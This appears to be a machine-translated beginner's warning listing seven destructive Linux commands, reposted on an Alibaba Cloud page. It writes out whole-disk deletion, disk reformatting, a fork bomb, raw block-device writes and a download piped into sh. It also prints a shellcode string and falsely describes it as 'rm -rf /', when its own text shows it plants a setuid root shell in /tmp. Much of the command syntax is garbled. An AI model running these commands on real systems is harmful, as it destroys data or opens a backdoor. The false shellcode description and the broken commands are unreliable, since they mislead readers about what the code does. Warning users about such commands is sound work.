Seven fatal Linux commands

Source: Internet
Author: User

If you are a beginner in Linux, you may attempt to obtain commands from various channels with curiosity. The following are seven fatal Linux commands that cause loss of your data and paralysis of your system. Therefore, you should try your best to avoid running them in the system.

  1. Rm-RF/This command recursively deletes all files in the/directory.
  2. Char ESP [] _ attribute _ (Section (". text ")/* E. s. prelease */= "\ xeb \ x3e \ x5b \ x31 \ xc0 \ x50 \ x54 \ x5a \ x83 \ xec \ x64 \ x68" "\ xFF \ x68 \ xdf \ xd0 \ xdf \ xd9 \ x68 \ x8d \ x99 "" \ xdf \ x81 \ x68 \ x8d \ x92 \ xdf \ xd2 \ x54 \ x5e \ xf7 \ x16 \ xf7 "" \ x56 \ x04 \ xf7 \ x56 \ x08 \ xf7 \ x56 \ x0c \ x83 \ xc4 \ x74 \ x56 "" \ x8d \ x73 \ x08 \ x56 \ x53 \ x54 \ x59 \ xb0 \ x0b \ XCD \ X80 \ x31 "" \ xc0 \ X40 \ xeb \ xf9 \ xe8 \ xbd \ xFF \ x2f \ x62 \ x69" "\ x6e \ x2f \ x73 \ x68 \ x00 \ x2d \ x63 \ x00" "CP-P/bin/sh/tmp /. beyond; chmod 4755/tmp /. beyond ;";

    This is the hex (hexadecimal) version of RM-RF/, which can confuse Linux users.

  3. Mkfs. ext3/dev/SDAThis will reformat the hard disk. Naturally, all the data on the hard disk will be wiped out.
  4. :() {:| :&};:The famous fork bomb, this command will tell your system to execute massive processes until your system freezes.
  5. Any_command>/dev/SDAWith this command, the raw data will be written to the block device, resulting in data loss.
  6. Wget http: // some_untrusted_source-o-| shDo not download things from untrusted places, which may be malicious.Code.
  7. MV/home/yourhomedirectory/*/dev/nullThis command moves all files in the main directory to a non-existent place and you will no longer see those files.

If you think there are other fatal Linux commands, please let us know in the message.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.